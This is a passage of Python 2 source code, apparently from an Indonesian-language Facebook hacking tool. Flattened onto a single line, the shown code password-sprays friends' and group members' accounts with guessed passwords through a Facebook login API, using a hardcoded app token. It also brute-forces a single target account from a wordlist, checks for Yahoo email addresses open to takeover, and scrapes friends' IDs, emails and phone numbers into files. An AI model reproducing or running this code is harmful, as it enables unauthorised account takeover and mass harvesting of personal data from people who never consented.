'\x1b[1;91m[!] Can\'t empty' pilih_super() else: if peak == '1': os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[+] \x1b[1;92mMengambil id Teman \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) else: if peak == '2': os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' idg = raw_input('\x1b[1;91m[+] \x1b[1;92mID Group \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Group not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') super() re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket) s = json.loads(re.text) for i in s['data']: id.append(i['id']) else: if peak == '3': os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' try: idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97m') for line in open(idlist,'r').readlines(): id.append(line.strip()) except IOError: print '\x1b[1;91m[!] File not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') super() else: if peak == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada' pilih_super() print '\x1b[1;91m[+] \x1b[1;92mTotal ID \x1b[1;91m: \x1b[1;97m' + str(len(id)) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') titik = ['. ', '.. ', '... '] for o in titik: print '\r\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) print print 52 * '\x1b[1;97m\xe2\x95\x90' def main(arg): user = arg try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92m\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass1 + ' ==> ' + b['name'] else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93m\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass1 + ' ==> ' + b['name'] else: pass2 = b['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92m\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass2 + ' ==> ' + b['name'] else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93m\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass2 + ' ==> ' + b['name'] else: pass3 = 'sayang2' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92m\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass3 + ' ==> ' + b['name'] else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93m\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass3 + ' ==> ' + b['name'] else: pass4 = 'anjing' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92m\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass4 + ' ==> ' + b['name'] else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93m\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass4 + ' ==> ' + b['name'] else: pass5 = 'sayang' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass5 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92m\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass5 + ' ==> ' + b['name'] else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93m\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass5 + ' ==> ' + b['name'] except: pass p = ThreadPool(30) p.map(main, id) print '\n\x1b[1;91m[+] \x1b[1;97mFinish' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') super() def brute(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print '╔' + 52 * '\x1b[1;97m\xe2\x95\x90' try: email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m') total = open(passw, 'r') total = total.readlines() print 52 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[+] \x1b[1;92mTotal\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') sandi = open(passw, 'r') for pw in sandi: try: pw = pw.replace('\n', '') sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mTry \x1b[1;97m' + pw) sys.stdout.flush() data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') mpsh = json.loads(data.text) if 'access_token' in mpsh: dapat = open('Brute.txt', 'w') dapat.write(email + ' | ' + pw + '\n') dapat.close() print '\n\x1b[1;91m[+] \x1b[1;92mFounded.' print 52 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() else: if 'www.facebook.com' in mpsh['error_msg']: ceks = open('Brutecekpoint.txt', 'w') ceks.write(email + ' | ' + pw + '\n') ceks.close() print '\n\x1b[1;91m[+] \x1b[1;92mFounded.' print 52 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[!] \x1b[1;93mAccount Maybe Checkpoint' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Connection Error' time.sleep(1) except IOError: print '\x1b[1;91m[!] File not found...' print '\n\x1b[1;91m[!] \x1b[1;92mSepertinya kamu tidak memiliki wordlist' tanyaw() def tanyaw(): why = raw_input('\x1b[1;91m[?] \x1b[1;92mAre you sure want to make wordlist ? \x1b[1;92m[y/t]\x1b[1;91m:\x1b[1;97m ') if why == '': print '\x1b[1;91m[!] Please choice \x1b[1;97m(y/t)' tanyaw() else: if why == 'y': wordlist() else: if why == 'Y': wordlist() else: if why == 't': menu_hack() else: if why == 'T': menu_hack() else: print '\x1b[1;91m[!] Please choice \x1b[1;97m(y/t)' tanyaw() def menu_yahoo(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print '║-> \x1b[1;37;40m1. From Friends' print '║-> \x1b[1;37;40m2. From File' print '║-> \x1b[1;31;40m0. Back' print '\x1b[1;37;40m║' yahoo_pilih() def yahoo_pilih(): go = raw_input('╚═\x1b[1;91m▶\x1b[1;97m ') if go == '': print '\x1b[1;91m[!] Can\'t empty' yahoo_pilih() else: if go == '1': yahoofriends() else: if go == '2': yahoolist() else: if go == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mnot found' yahoo_pilih() def yahoofriends(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') friends = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) kimak = json.loads(friends.text) save = open('MailVuln.txt', 'w') print 52 * '\x1b[1;97m\xe2\x95\x90' for w in kimak['data']: jml += 1 mpsh.append(jml) id = w['id'] nama = w['name'] links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) z = json.loads(links.text) try: mail = z['email'] yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print 52 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName \x1b[1;91m:\x1b[1;97m ' + nama print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + vuln + '\x1b[1;97m]' print 52 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' except KeyError: pass print '\n\x1b[1;91m[+] \x1b[1;97mFinish' print '\x1b[1;91m[+] \x1b[1;97mSaved \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_yahoo() def yahoolist(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m') try: total = open(files, 'r') mail = total.readlines() except IOError: print '\x1b[1;91m[!] File not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_yahoo() mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') save = open('MailVuln.txt', 'w') print 52 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m: \x1b[1;97mRed[\x1b[1;92m' + vulnot + '\x1b[1;97m] Green[\x1b[1;92m' + vuln + '\x1b[1;97m]' print mail = open(files, 'r').readlines() for pw in mail: mail = pw.replace('\n', '') jml += 1 mpsh.append(jml) yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m ' + mail continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print '\x1b[1;92m ' + mail else: print '\x1b[1;91m ' + mail print '\n\x1b[1;91m[+] \x1b[1;97mFinish' print '\x1b[1;91m[+] \x1b[1;97mSaved \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_yahoo() def grab(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print '║-> \x1b[1;37;40m1. Get ID From Friends' print '║-> \x1b[1;37;40m2. Get Friends ID From Friends' print '║-> \x1b[1;37;40m3. Get ID From GRUP' print '║-> \x1b[1;37;40m4. Get Friends Email' print '║-> \x1b[1;37;40m5. Get Friends Email From Friends' print '║-> \x1b[1;37;40m6. Get Phone From Friends' print '║-> \x1b[1;37;40m7. Get Friend\'s Phone From Friends' print '║-> \x1b[1;31;40m0. Back' print '\x1b[1;37;40m║' grab_pilih() def grab_pilih(): cuih = raw_input('╚═\x1b[1;91m▶\x1b[1;97m ') if cuih == '': print '\x1b[1;91m[!] Can\'t empty' grab_pilih() else: if cuih == '1': id_friends() else: if cuih == '2': idfrom_friends() else: if cuih == '3': id_member_grup() else: if cuih == '4': email() else: if cuih == '5': emailfrom_friends() else: if cuih == '6': nomor_hp() else: if cuih == '7': hpfrom_friends() else: if cuih == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + cuih + ' \x1b[1;91mnot found' grab_pilih() def id_friends(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) save_id = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_id, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' for ah in z['data']: idfriends.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 52 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mTotal ID \x1b[1;96m%s' % len(idfriends) print '\x1b[1;91m[+] \x1b[1;97mFile saved \x1b[1;91m: \x1b[1;97m' + save_id bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Error when creating file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stopped' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except KeyError: os.remove(save_id) print '\x1b[1;91m[!] An error occurred' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] No connection' keluar() def idfrom_friends(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID Friends \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Not be friends' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket) z = json.loads(r.text) save_idt = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_idt, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' for ah in z['friends']['data']: idfromfriends.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 52 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mTotal ID \x1b[1;96m%s' % len(idfromfriends) print '\x1b[1;91m[+] \x1b[1;97mFile saved \x1b[1;91m: \x1b[1;97m' + save_idt bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Error when creating file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stopped' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] No connection' keluar() def id_member_grup(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mID grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName group \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Group not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() simg = raw_input('\x1b[1;91m[+] \x1b[1;97mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') b = open(simg, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&access_token=' + toket) s = json.loads(re.text) for i in s['data']: idmem.append(i['id']) b.write(i['id'] + '\n') print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + i['name'] print '\x1b[1;92mID \x1b[1;91m :\x1b[1;97m ' + i['id'] print 52 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mTotal ID \x1b[1;96m%s' % len(idmem) print '\x1b[1;91m[+] \x1b[1;97mFile saved \x1b[1;91m: \x1b[1;97m' + simg b.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Error when creating file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stopped' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except KeyError: os.remove(simg) print '\x1b[1;91m[!] Group not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] No connection' keluar() def email(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: em.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 52 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mTotal Email\x1b[1;96m%s' % len(em) print '\x1b[1;91m[+] \x1b[1;97mFile saved \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Error when creating file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stopped' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except KeyError: os.remove(mails) print '\x1b[1;91m[!] An error occurred' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] No connection' keluar() def emailfrom_friends(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID Friends \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Not be friends' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: emfromfriends.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 52 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mTotal Email\x1b[1;96m%s' % len(emfromfriends) print '\x1b[1;91m[+] \x1b[1;97mFile saved \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Error when creating file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stopped' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] No connection' keluar() def nomor_hp(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') url = 'https://graph.facebook.com/me/friends?access_token=' + toket r = requests.get(url) z = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' for n in z['data']: x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hp.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mPhone\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 52 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mTotal Phone\x1b[1;96m%s' % len(hp) print '\x1b[1;91m[+] \x1b[1;97mFile saved \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Error when creating file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stopped' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except KeyError: os.remove(noms) print '\x1b[1;91m[!] An error occurred ' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] No connection' keluar() def hpfrom_friends(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mInput Friends ID \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Not be friends' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hpfromfriends.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mPhone\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 52 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mTotal number\x1b[1;96m%s' % len(hpfromfriends) print '\x1b[1;91m[+] \x1b[1;97mFile saved \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Make file failed' 